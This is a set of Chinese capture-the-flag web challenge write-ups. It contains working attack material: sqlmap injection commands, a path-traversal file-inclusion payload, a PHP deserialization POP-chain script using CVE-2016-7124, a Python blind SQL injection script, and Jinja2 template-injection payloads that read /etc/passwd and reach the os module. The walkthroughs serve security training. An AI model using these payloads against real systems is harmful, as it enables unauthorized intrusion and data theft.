这题是文件上传
但是操作时会发现传不上去,我们只能通过写文件的方式
得到目录
我们访问
空白
我们查看源码
得到flag
我们打开环境
直接送上sqlmap大礼包
sqlmap -u http://61.147.171.105:53232/ --data "search=df" -D news --tables
sqlmap -u http://61.147.171.105:53232/ --data "search=df"-D news -T secret_table --columns
sqlmap -u http://61.147.171.105:53232/ --data "search=df" -D news -T secret_table -C “fl4g”
进行注入
最后得出CTF{sq1_inJec7ion_ezzz}
该题考的是代码审计
光秃秃一片啥也没有
我们查看源码
根据提示我们访问
发现代码我们进行审计
我们访问一下看看
这段代码的意思是如果 file 不空、为字符串且经过emmm类的checkFile函数过滤,就执行文件包含,否则就输出滑稽图片,而需要被包含的文件就是hint.php提示的ffffllllaaaagggg
继续审计代码前先看几个函数:
mb_substr() 函数返回字符串的一部分。substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
mb_strpos() 查找字符串在另一个字符串中首次出现的位置
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
urldecode():解码已编码的 URL 字符串
这段代码的大意是获取传入的参数位数,然后截取前该位数的字符。
举个例子,传入参数是flag.php,首先经过mb_strpos获取位数,为8.然后经过mb_substr截取flag.php的前八位,也就是flag.php。
然后需要该参数在白名单里,也就是截取第一个?后的值为hint.php或source.php
然后经过url解码后再进行一次过滤,如果最后返回真,即可包含文件。
最后得出payload: ?file=source.php%253F../../../../../ffffllllaaaagggg
最后我们得出flag
这题考的是php反序列及base64
打开题目后发现源代码我们进行审计
这里发现var为get传递方式
我们要构造pop链
从参数传入的地方入手
1.进行了一个base64的解码 在传入参数的时候先对参数的值进行base64加密进行第一步的绕过。
2.进行了一个正则表达式的判断 匹配到任意长度的数字 或者oc字符都会被过滤 直接结束进程。
3.当正则的过滤被绕过之后 对传入的参数var的值进行反序列化处理
注意:此时__wakeup()函数会被自动调用 当其被调用时输出的文件就会被强制更改成 index.php 所以这里需要对这个函数进行绕过。
当对象销毁时也就是结束运行时 destruct函数会被调用输出文件当中的内容
完整的pop链
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量
$c=serialize($a); //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
$c=str_replace(' ','%00',$c); //序列化私有类时 类名和字段名前会有空格 使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>
运行后得到:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
将其传个var得到flag
大部分参考:http://t.csdn.cn/L1SfW
打开后发现是登陆界面
我们直接burp抓包保存文本送上sqlmap大礼包
sqlmap -r 1 --dbs --tamper=space2comment
sqlmap -r 1 -D sql --tables --tamper=space2comment
sqlmap -r 1 -D sql -T user --columns --tamper=space2comment
sqlmap -r 1 -D sql -T user -C password –dump ---tamper=space2comment
最后得出flag
qsnctf{07924047-993d-4bd3-b25c-2096d7644ed2}
本题考的的sql注入
这里参考了弱口令安全实验室招新赛qsnctf题解 | Anyyy's Blog (anyiblog.top)
Python代码如下
import requests
import base64
import time
import string
def main():
table = string.printable.strip()
res = ""
i = 1
while 1:
n = 0
while n < len(table):
#payload = f"admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),{i},1)='{table[n]}',1,0); #"
#information_schema,mysql,performance_schema,ctftraining,test,sql
#payload = f"admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{table[n]}',1,0); #"
#flag_table,news,users # limit 1,1
#payload = f"admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='users'),{i},1)='{table[n]}',1,0); #"
payload = f"admin' and if(substr((select group_concat(password) from sql.user where username='flag'),{i},1)='{table[n]}',1,0); #"
print(payload)
payload = "user:{}|pass:admin".format(payload)
content = base64.b64encode(payload.encode()).decode()
url = f"http://18e47acf-dee0-422a-b33c-13aecae44b0f.challenge.qsnctf.com:8081//check.php?data={content}"
headers = {"X-Forwarded-For":"127.0.0.1"}
s = requests.Session()
http = s.get(url,headers=headers,allow_redirects=False)
if "登陆成功" in http.text:
i += 1
res += table[n]
break
print(res)
n += 1
if n == len(table):
break
main()
跑完后即可得到flag
这题是flask模板注入
从零学习flask模板注入 - FreeBuf网络安全行业门户
可以先看这个
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
查看全局变量 /{{config}}
几个魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
寻找可用引用payload:{{''.__class__.__mro__[2].__subclasses__()}}
可以看到有一个type file类型(可以进行文件读取)
Payload: {{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
可以看到有一个type file类型(可以进行文件读取)
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行)
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
这里只需要命令执行所以直接使用
<class ‘site._Printer’>类型
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
[71]为<class ‘site._Printer’>出现位置
读取flag:
Payload:
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
得到flag